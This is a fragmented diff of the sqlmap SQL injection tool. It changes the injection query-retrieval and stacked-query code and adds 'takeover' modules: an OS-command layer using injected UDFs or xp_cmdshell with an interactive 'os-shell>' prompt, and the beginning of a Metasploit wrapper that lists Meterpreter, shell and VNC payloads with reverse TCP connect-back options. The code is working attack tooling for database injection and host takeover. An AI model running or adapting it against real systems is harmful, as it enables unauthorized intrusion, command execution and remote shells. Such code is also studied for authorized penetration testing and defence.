return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||||
|
|
||||||
if len(expressionFieldsList) > 1:
|
if len(expressionFieldsList) > 1:
|
||||||
infoMsg = "the SQL query provided has more than a field. "
|
infoMsg = "the SQL query provided has more than a field. "
|
||||||
@@ -132,8 +147,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
# can return multiple entries
|
# can return multiple entries
|
||||||
if fromUser and " FROM " in expression:
|
if fromUser and " FROM " in expression:
|
||||||
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
||||||
|
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||||
|
|
||||||
if limitRegExp:
|
if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
limitGroupStart = queries[kb.dbms].limitgroupstart
|
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||||
limitGroupStop = queries[kb.dbms].limitgroupstop
|
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||||
@@ -144,7 +160,22 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
stopLimit = limitRegExp.group(int(limitGroupStop))
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
limitCond = int(stopLimit) > 1
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
if limitRegExp:
|
||||||
|
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||||
|
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||||
|
|
||||||
|
if limitGroupStart.isdigit():
|
||||||
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
|
||||||
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
|
limitCond = int(stopLimit) > 1
|
||||||
|
elif topLimit:
|
||||||
|
startLimit = 0
|
||||||
|
stopLimit = int(topLimit.group(1))
|
||||||
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
|
elif kb.dbms == "Oracle":
|
||||||
limitCond = False
|
limitCond = False
|
||||||
else:
|
else:
|
||||||
limitCond = True
|
limitCond = True
|
||||||
@@ -163,9 +194,14 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||||
expression = expression[:untilLimitChar]
|
expression = expression[:untilLimitChar]
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
stopLimit += startLimit
|
||||||
|
|
||||||
if not stopLimit or stopLimit <= 1:
|
if not stopLimit or stopLimit <= 1:
|
||||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||||
test = "n"
|
test = "n"
|
||||||
|
elif batch:
|
||||||
|
test = "y"
|
||||||
else:
|
else:
|
||||||
message = "can the SQL query provided return "
|
message = "can the SQL query provided return "
|
||||||
message += "multiple entries? [Y/n] "
|
message += "multiple entries? [Y/n] "
|
||||||
@@ -180,54 +216,58 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
untilOrderChar = countedExpression.index(" ORDER BY ")
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||||
countedExpression = countedExpression[:untilOrderChar]
|
countedExpression = countedExpression[:untilOrderChar]
|
||||||
|
|
||||||
count = resume(countedExpression, payload)
|
if resumeValue:
|
||||||
|
count = resume(countedExpression, payload)
|
||||||
|
|
||||||
if not stopLimit:
|
if not stopLimit:
|
||||||
if not count or not count.isdigit():
|
if not count or not count.isdigit():
|
||||||
count = __goInference(payload, countedExpression)
|
count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
if count and count.isdigit() and int(count) > 0:
|
if count and count.isdigit() and int(count) > 0:
|
||||||
count = int(count)
|
count = int(count)
|
||||||
|
|
||||||
message = "the SQL query provided can return "
|
if batch:
|
||||||
message += "up to %d entries. How many " % count
|
|
||||||
message += "entries do you want to retrieve?\n"
|
|
||||||
message += "[a] All (default)\n[#] Specific number\n"
|
|
||||||
message += "[q] Quit\nChoice: "
|
|
||||||
test = readInput(message, default="a")
|
|
||||||
|
|
||||||
if not test or test[0] in ("a", "A"):
|
|
||||||
stopLimit = count
|
stopLimit = count
|
||||||
|
else:
|
||||||
|
message = "the SQL query provided can return "
|
||||||
|
message += "up to %d entries. How many " % count
|
||||||
|
message += "entries do you want to retrieve?\n"
|
||||||
|
message += "[a] All (default)\n[#] Specific number\n"
|
||||||
|
message += "[q] Quit"
|
||||||
|
test = readInput(message, default="a")
|
||||||
|
|
||||||
elif test[0] in ("q", "Q"):
|
if not test or test[0] in ("a", "A"):
|
||||||
return "Quit"
|
stopLimit = count
|
||||||
|
|
||||||
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
elif test[0] in ("q", "Q"):
|
||||||
stopLimit = int(test)
|
return "Quit"
|
||||||
|
|
||||||
infoMsg = "sqlmap is now going to retrieve the "
|
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
||||||
infoMsg += "first %d query output entries" % stopLimit
|
stopLimit = int(test)
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
elif test[0] in ("#", "s", "S"):
|
infoMsg = "sqlmap is now going to retrieve the "
|
||||||
message = "How many? "
|
infoMsg += "first %d query output entries" % stopLimit
|
||||||
stopLimit = readInput(message, default="10")
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not stopLimit.isdigit():
|
elif test[0] in ("#", "s", "S"):
|
||||||
|
message = "How many? "
|
||||||
|
stopLimit = readInput(message, default="10")
|
||||||
|
|
||||||
|
if not stopLimit.isdigit():
|
||||||
|
errMsg = "Invalid choice"
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
else:
|
||||||
|
stopLimit = int(stopLimit)
|
||||||
|
|
||||||
|
else:
|
||||||
errMsg = "Invalid choice"
|
errMsg = "Invalid choice"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
else:
|
|
||||||
stopLimit = int(stopLimit)
|
|
||||||
|
|
||||||
else:
|
|
||||||
errMsg = "Invalid choice"
|
|
||||||
logger.error(errMsg)
|
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
elif count and not count.isdigit():
|
elif count and not count.isdigit():
|
||||||
warnMsg = "it was not possible to count the number "
|
warnMsg = "it was not possible to count the number "
|
||||||
warnMsg += "of entries for the SQL query provided. "
|
warnMsg += "of entries for the SQL query provided. "
|
||||||
@@ -252,9 +292,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
return None
|
return None
|
||||||
|
|
||||||
for num in xrange(startLimit, stopLimit):
|
for num in xrange(startLimit, stopLimit):
|
||||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||||
|
|
||||||
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
|
|
||||||
outputs.append(output)
|
outputs.append(output)
|
||||||
|
|
||||||
return outputs
|
return outputs
|
||||||
@@ -262,17 +300,16 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
||||||
expression = "%s FROM DUAL" % expression
|
expression = "%s FROM DUAL" % expression
|
||||||
|
|
||||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
|
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||||
|
|
||||||
returnValue = ", ".join([output for output in outputs])
|
returnValue = ", ".join([output for output in outputs])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
returnValue = __goInference(payload, expression)
|
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
return returnValue
|
return returnValue
|
||||||
|
|
||||||
|
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
|
||||||
def __goInband(expression, expected=None):
|
|
||||||
"""
|
"""
|
||||||
Retrieve the output of a SQL query taking advantage of an inband SQL
|
Retrieve the output of a SQL query taking advantage of an inband SQL
|
||||||
injection vulnerability on the affected parameter.
|
injection vulnerability on the affected parameter.
|
||||||
@@ -287,22 +324,21 @@ def __goInband(expression, expected=None):
|
|||||||
and expression in kb.resumedQueries[conf.url].keys()
|
and expression in kb.resumedQueries[conf.url].keys()
|
||||||
)
|
)
|
||||||
|
|
||||||
if condition:
|
if condition and resumeValue:
|
||||||
output = resume(expression, None)
|
output = resume(expression, None)
|
||||||
|
|
||||||
if not output or ( expected == "int" and not output.isdigit() ):
|
if not output or ( expected == "int" and not output.isdigit() ):
|
||||||
partial = True
|
partial = True
|
||||||
|
|
||||||
if not output:
|
if not output:
|
||||||
output = unionUse(expression, resetCounter=True)
|
output = unionUse(expression, resetCounter=True, unpack=unpack)
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
data = parseUnionPage(output, expression, partial, condition)
|
data = parseUnionPage(output, expression, partial, condition, sort)
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
|
|
||||||
"""
|
"""
|
||||||
Called each time sqlmap inject a SQL query on the SQL injection
|
Called each time sqlmap inject a SQL query on the SQL injection
|
||||||
affected parameter. It can call a function to retrieve the output
|
affected parameter. It can call a function to retrieve the output
|
||||||
@@ -314,8 +350,13 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
|||||||
expression = expandAsteriskForColumns(expression)
|
expression = expandAsteriskForColumns(expression)
|
||||||
value = None
|
value = None
|
||||||
|
|
||||||
if inband and conf.unionUse and kb.dbms:
|
expression = expression.replace("DISTINCT ", "")
|
||||||
value = __goInband(expression, expected)
|
|
||||||
|
if inband and kb.unionPosition:
|
||||||
|
if kb.dbms == "Oracle" and " ORDER BY " in expression:
|
||||||
|
expression = expression[:expression.index(" ORDER BY ")]
|
||||||
|
|
||||||
|
value = __goInband(expression, expected, sort, resumeValue, unpack)
|
||||||
|
|
||||||
if not value:
|
if not value:
|
||||||
warnMsg = "for some reasons it was not possible to retrieve "
|
warnMsg = "for some reasons it was not possible to retrieve "
|
||||||
@@ -323,23 +364,29 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
|||||||
warnMsg += "technique, sqlmap is going blind"
|
warnMsg += "technique, sqlmap is going blind"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
conf.paramNegative = False
|
oldParamFalseCond = conf.paramFalseCond
|
||||||
|
oldParamNegative = conf.paramNegative
|
||||||
|
conf.paramFalseCond = False
|
||||||
|
conf.paramNegative = False
|
||||||
|
|
||||||
if blind and not value:
|
if blind and not value:
|
||||||
value = __goInferenceProxy(expression, fromUser, expected)
|
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
|
||||||
|
|
||||||
|
conf.paramFalseCond = oldParamFalseCond
|
||||||
|
conf.paramNegative = oldParamNegative
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
def goStacked(expression, silent=False):
|
||||||
|
expression = cleanQuery(expression)
|
||||||
|
|
||||||
def goStacked(expression):
|
debugMsg = "query: %s" % expression
|
||||||
"""
|
logger.debug(debugMsg)
|
||||||
TODO: write description
|
|
||||||
"""
|
|
||||||
|
|
||||||
comment = queries[kb.dbms].comment
|
comment = queries[kb.dbms].comment
|
||||||
query = agent.prefixQuery("; %s" % expression)
|
query = agent.prefixQuery("; %s" % expression)
|
||||||
query = agent.postfixQuery("%s;%s" % (query, comment))
|
query = agent.postfixQuery("%s;%s" % (query, comment))
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
page, _ = Request.queryPage(payload, content=True)
|
page, _ = Request.queryPage(payload, content=True, silent=silent)
|
||||||
|
|
||||||
return payload, page
|
return payload, page
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,13 +22,15 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import httplib
|
import httplib
|
||||||
import socket
|
import socket
|
||||||
import urllib
|
import urllib
|
||||||
import urllib2
|
import urllib2
|
||||||
|
|
||||||
|
from lib.core.settings import PYVERSION
|
||||||
|
|
||||||
|
if PYVERSION >= "2.6":
|
||||||
|
import ssl
|
||||||
|
|
||||||
class ProxyHTTPConnection(httplib.HTTPConnection):
|
class ProxyHTTPConnection(httplib.HTTPConnection):
|
||||||
_ports = {"http" : 80, "https" : 443}
|
_ports = {"http" : 80, "https" : 443}
|
||||||
@@ -57,8 +59,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
|||||||
self._real_host = host
|
self._real_host = host
|
||||||
self._real_port = int(port)
|
self._real_port = int(port)
|
||||||
|
|
||||||
httplib.HTTPConnection.request(self, method, url, body, headers)
|
httplib.HTTPConnection.request(self, method, rest, body, headers)
|
||||||
|
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
httplib.HTTPConnection.connect(self)
|
httplib.HTTPConnection.connect(self)
|
||||||
@@ -85,11 +86,10 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
|
|||||||
if line == "\r\n":
|
if line == "\r\n":
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||||
default_port = 443
|
default_port = 443
|
||||||
|
|
||||||
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
|
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
|
||||||
ProxyHTTPConnection.__init__(self, host, port)
|
ProxyHTTPConnection.__init__(self, host, port)
|
||||||
self.key_file = key_file
|
self.key_file = key_file
|
||||||
self.cert_file = cert_file
|
self.cert_file = cert_file
|
||||||
@@ -98,9 +98,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
|
|||||||
ProxyHTTPConnection.connect(self)
|
ProxyHTTPConnection.connect(self)
|
||||||
|
|
||||||
# Make the sock ssl-aware
|
# Make the sock ssl-aware
|
||||||
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
|
if PYVERSION >= "2.6":
|
||||||
self.sock = httplib.FakeSocket(self.sock, ssl)
|
sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
|
||||||
|
self.sock = sslobj
|
||||||
|
else:
|
||||||
|
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||||
|
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
||||||
|
|
||||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||||
def __init__(self, proxy=None, debuglevel=0):
|
def __init__(self, proxy=None, debuglevel=0):
|
||||||
@@ -114,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler):
|
|||||||
|
|
||||||
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
|
||||||
|
|
||||||
|
|
||||||
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
|
||||||
def __init__(self, proxy=None, debuglevel=0):
|
def __init__(self, proxy=None, debuglevel=0):
|
||||||
self.proxy = proxy
|
self.proxy = proxy
|
||||||
|
|||||||
25
lib/takeover/__init__.py
Normal file
25
lib/takeover/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
pass
|
||||||
170
lib/takeover/abstraction.py
Normal file
170
lib/takeover/abstraction.py
Normal file
@@ -0,0 +1,170 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import readInput
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.dump import dumper
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.core.shell import autoCompletion
|
||||||
|
from lib.takeover.udf import UDF
|
||||||
|
from lib.takeover.xp_cmdshell import xp_cmdshell
|
||||||
|
|
||||||
|
class Abstraction(UDF, xp_cmdshell):
|
||||||
|
"""
|
||||||
|
This class defines an abstraction layer for OS takeover functionalities
|
||||||
|
to UDF / xp_cmdshell objects
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.envInitialized = False
|
||||||
|
|
||||||
|
UDF.__init__(self)
|
||||||
|
xp_cmdshell.__init__(self)
|
||||||
|
|
||||||
|
def __cmdShellCleanup(self):
|
||||||
|
if not conf.cleanup:
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
self.cleanup()
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
else:
|
||||||
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
self.udfExecCmd(cmd, silent=silent)
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
|
||||||
|
|
||||||
|
else:
|
||||||
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def evalCmd(self, cmd, first=None, last=None):
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
return self.udfEvalCmd(cmd, first, last)
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
return self.xpCmdshellEvalCmd(cmd, first, last)
|
||||||
|
|
||||||
|
else:
|
||||||
|
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def runCmd(self, cmd):
|
||||||
|
getOutput = None
|
||||||
|
|
||||||
|
message = "do you want to retrieve the command standard "
|
||||||
|
message += "output? [Y/n] "
|
||||||
|
getOutput = readInput(message, default="Y")
|
||||||
|
|
||||||
|
if not getOutput or getOutput in ("y", "Y"):
|
||||||
|
output = self.evalCmd(cmd)
|
||||||
|
|
||||||
|
if output:
|
||||||
|
dumper.string("command standard output", output)
|
||||||
|
else:
|
||||||
|
print "No output"
|
||||||
|
else:
|
||||||
|
self.execCmd(cmd, forgeCmd=True)
|
||||||
|
|
||||||
|
if not conf.osShell and not conf.osPwn and not conf.cleanup:
|
||||||
|
self.__cmdShellCleanup()
|
||||||
|
|
||||||
|
def absOsShell(self):
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
infoMsg = "going to use injected sys_eval and sys_exec "
|
||||||
|
infoMsg += "user-defined functions for operating system "
|
||||||
|
infoMsg += "command execution"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
infoMsg = "going to use xp_cmdshell extended procedure for "
|
||||||
|
infoMsg += "operating system command execution"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
else:
|
||||||
|
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
infoMsg = "calling %s OS shell. To quit type " % kb.os or "Windows"
|
||||||
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
autoCompletion(osShell=True)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
command = None
|
||||||
|
|
||||||
|
try:
|
||||||
|
command = raw_input("os-shell> ")
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print
|
||||||
|
errMsg = "user aborted"
|
||||||
|
logger.error(errMsg)
|
||||||
|
except EOFError:
|
||||||
|
print
|
||||||
|
errMsg = "exit"
|
||||||
|
logger.error(errMsg)
|
||||||
|
break
|
||||||
|
|
||||||
|
if not command:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||||
|
break
|
||||||
|
|
||||||
|
self.runCmd(command)
|
||||||
|
|
||||||
|
self.__cmdShellCleanup()
|
||||||
|
|
||||||
|
def initEnv(self, mandatory=True, detailed=False):
|
||||||
|
if self.envInitialized:
|
||||||
|
return
|
||||||
|
|
||||||
|
self.checkDbmsOs(detailed)
|
||||||
|
|
||||||
|
if mandatory and not self.isDba():
|
||||||
|
warnMsg = "the functionality requested might not work because "
|
||||||
|
warnMsg += "the session user is not a database administrator"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
self.udfInjectCmd()
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
|
if mandatory:
|
||||||
|
self.xpCmdshellInit()
|
||||||
|
|
||||||
|
else:
|
||||||
|
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||||
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
self.envInitialized = True
|
||||||
693
lib/takeover/metasploit.py
Normal file
693
lib/takeover/metasploit.py
Normal file
@@ -0,0 +1,693 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import stat
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
from select import select
|
||||||
|
from subprocess import PIPE
|
||||||
|
from subprocess import Popen as execute
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import getLocalIP
|
||||||
|
from lib.core.common import getRemoteIP
|
||||||
|
from lib.core.common import pollProcess
|
||||||
|
from lib.core.common import randomRange
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.common import readInput
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapDataException
|
||||||
|
from lib.core.exception import sqlmapFilePathException
|
||||||
|
from lib.core.subprocessng import blockingReadFromFD
|
||||||
|
from lib.core.subprocessng import blockingWriteToFD
|
||||||
|
from lib.core.subprocessng import setNonBlocking
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
from lib.takeover.upx import upx
|
||||||
|
|
||||||
|
|
||||||
|
class Metasploit:
|
||||||
|
"""
|
||||||
|
This class defines methods to call Metasploit for plugins.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __initVars(self):
|
||||||
|
self.connectionStr = None
|
||||||
|
self.lhostStr = None
|
||||||
|
self.rhostStr = None
|
||||||
|
self.portStr = None
|
||||||
|
self.payloadStr = None
|
||||||
|
self.encoderStr = None
|
||||||
|
self.payloadConnStr = None
|
||||||
|
|
||||||
|
self.resourceFile = None
|
||||||
|
|
||||||
|
self.localIP = getLocalIP()
|
||||||
|
self.remoteIP = getRemoteIP()
|
||||||
|
|
||||||
|
self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
|
||||||
|
self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
|
||||||
|
self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
|
||||||
|
self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
|
||||||
|
|
||||||
|
self.__msfPayloadsList = {
|
||||||
|
"windows": {
|
||||||
|
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
||||||
|
2: ( "Shell", "windows/shell" ),
|
||||||
|
3: ( "VNC", "windows/vncinject" ),
|
||||||
|
},
|
||||||
|
"linux": {
|
||||||
|
1: ( "Shell", "linux/x86/shell" ),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.__msfConnectionsList = {
|
||||||
|
"windows": {
|
||||||
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||||
|
